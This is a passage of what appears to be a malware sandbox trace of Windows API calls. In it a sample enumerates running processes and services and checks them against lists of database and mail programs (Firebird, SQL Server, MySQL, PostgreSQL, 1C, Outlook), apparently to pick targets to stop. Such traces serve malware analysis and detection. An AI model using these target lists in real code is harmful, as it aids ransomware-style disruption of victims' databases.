th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0140.985] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0140.985] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0140.985] lstrlenW (lpString="spoolsv.exe") returned 11 [0140.985] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0140.985] lstrlenW (lpString="reader_sl.exe") returned 13 [0140.985] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.986] lstrlenW (lpString="svchost.exe") returned 11 [0140.986] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0140.986] lstrlenW (lpString="taskhost.exe") returned 12 [0140.986] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0140.986] CloseHandle (hObject=0x314) returned 1 [0140.986] Sleep (dwMilliseconds=0x1f4) [0141.624] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x428b438 [0141.624] EnumServicesStatusExW (in: hSCManager=0x428b438, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0141.624] GetLastError () returned 0xea [0141.624] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xd68) returned 0x4241058 [0141.625] EnumServicesStatusExW (in: hSCManager=0x428b438, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4241058, cbBufSize=0xd68, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4241058, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0141.625] CloseServiceHandle (hSCObject=0x428b438) returned 1 [0141.625] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0141.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0141.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0141.625] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0141.625] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0141.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0141.625] lstrlenW (lpString="AudioSrv") returned 8 [0141.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0141.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0141.626] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0141.626] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0141.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0141.626] lstrlenW (lpString="BFE") returned 3 [0141.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0141.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0141.626] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0141.626] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0141.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0141.626] lstrlenW (lpString="CryptSvc") returned 8 [0141.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0141.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0141.626] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0141.626] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0141.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0141.626] lstrlenW (lpString="CscService") returned 10 [0141.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0141.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0141.626] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0141.626] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0141.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0141.626] lstrlenW (lpString="DcomLaunch") returned 10 [0141.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0141.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0141.626] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0141.626] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0141.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0141.626] lstrlenW (lpString="Dhcp") returned 4 [0141.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0141.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0141.626] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0141.626] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0141.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0141.626] lstrlenW (lpString="Dnscache") returned 8 [0141.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0141.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0141.627] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0141.627] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0141.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0141.627] lstrlenW (lpString="DPS") returned 3 [0141.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0141.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0141.627] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0141.627] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0141.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0141.627] lstrlenW (lpString="eventlog") returned 8 [0141.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0141.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0141.627] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0141.627] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0141.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0141.627] lstrlenW (lpString="EventSystem") returned 11 [0141.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0141.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0141.627] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0141.627] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0141.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0141.627] lstrlenW (lpString="gpsvc") returned 5 [0141.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0141.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0141.627] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0141.627] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0141.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0141.628] lstrlenW (lpString="LanmanWorkstation") returned 17 [0141.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0141.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0141.628] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0141.628] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0141.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0141.628] lstrlenW (lpString="lmhosts") returned 7 [0141.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0141.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0141.628] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0141.628] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0141.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0141.628] lstrlenW (lpString="MMCSS") returned 5 [0141.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0141.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0141.628] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0141.628] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0141.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0141.628] lstrlenW (lpString="MpsSvc") returned 6 [0141.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0141.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0141.628] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0141.628] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0141.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0141.628] lstrlenW (lpString="NlaSvc") returned 6 [0141.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0141.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0141.628] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0141.628] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0141.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0141.628] lstrlenW (lpString="nsi") returned 3 [0141.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0141.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0141.628] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0141.628] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0141.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0141.629] lstrlenW (lpString="PcaSvc") returned 6 [0141.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0141.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0141.629] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0141.629] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0141.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0141.629] lstrlenW (lpString="PlugPlay") returned 8 [0141.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0141.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0141.629] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0141.629] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0141.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0141.629] lstrlenW (lpString="Power") returned 5 [0141.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0141.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0141.629] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0141.629] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0141.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0141.629] lstrlenW (lpString="ProfSvc") returned 7 [0141.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0141.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0141.629] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0141.629] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0141.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0141.629] lstrlenW (lpString="RpcEptMapper") returned 12 [0141.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0141.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0141.629] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0141.629] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0141.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0141.629] lstrlenW (lpString="RpcSs") returned 5 [0141.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0141.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0141.629] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0141.629] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0141.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0141.630] lstrlenW (lpString="SamSs") returned 5 [0141.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0141.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0141.630] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0141.630] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0141.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0141.630] lstrlenW (lpString="Schedule") returned 8 [0141.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0141.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0141.630] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0141.630] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0141.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0141.630] lstrlenW (lpString="SENS") returned 4 [0141.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0141.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0141.630] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0141.630] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0141.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0141.630] lstrlenW (lpString="ShellHWDetection") returned 16 [0141.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0141.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0141.630] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0141.630] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0141.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0141.630] lstrlenW (lpString="Spooler") returned 7 [0141.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0141.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0141.630] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0141.630] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0141.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0141.630] lstrlenW (lpString="SysMain") returned 7 [0141.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0141.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0141.630] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0141.630] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0141.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0141.631] lstrlenW (lpString="Themes") returned 6 [0141.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0141.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0141.631] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0141.631] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0141.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0141.631] lstrlenW (lpString="TrkWks") returned 6 [0141.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0141.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0141.631] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0141.631] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0141.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0141.631] lstrlenW (lpString="UxSms") returned 5 [0141.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0141.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0141.631] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0141.631] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0141.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0141.631] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x4241058 | out: hHeap=0x880000) returned 1 [0141.631] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ec [0141.633] Process32FirstW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0141.633] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0141.633] lstrlenW (lpString="System") returned 6 [0141.633] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0141.633] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0141.633] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0141.633] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0141.634] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0141.634] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0141.634] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0141.634] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0141.634] lstrlenW (lpString="smss.exe") returned 8 [0141.634] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0141.634] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0141.634] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0141.634] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0141.634] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0141.634] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0141.634] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0141.634] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0141.634] lstrlenW (lpString="csrss.exe") returned 9 [0141.634] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0141.634] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0141.634] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0141.635] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0141.635] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0141.635] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0141.635] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0141.635] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0141.635] lstrlenW (lpString="wininit.exe") returned 11 [0141.635] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0141.635] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0141.635] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0141.635] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0141.635] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0141.635] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0141.635] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0141.635] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0141.635] lstrlenW (lpString="csrss.exe") returned 9 [0141.635] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0141.635] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0141.636] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0141.636] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0141.636] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0141.636] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0141.636] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0141.636] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0141.636] lstrlenW (lpString="winlogon.exe") returned 12 [0141.636] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0141.636] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0141.636] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0141.636] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0141.636] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0141.636] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0141.636] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0141.636] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0141.636] lstrlenW (lpString="services.exe") returned 12 [0141.636] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0141.636] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0141.636] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0141.637] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0141.637] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0141.637] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0141.637] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0141.637] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0141.637] lstrlenW (lpString="lsass.exe") returned 9 [0141.637] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0141.637] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0141.637] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0141.637] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0141.637] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0141.637] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0141.637] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0141.637] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: 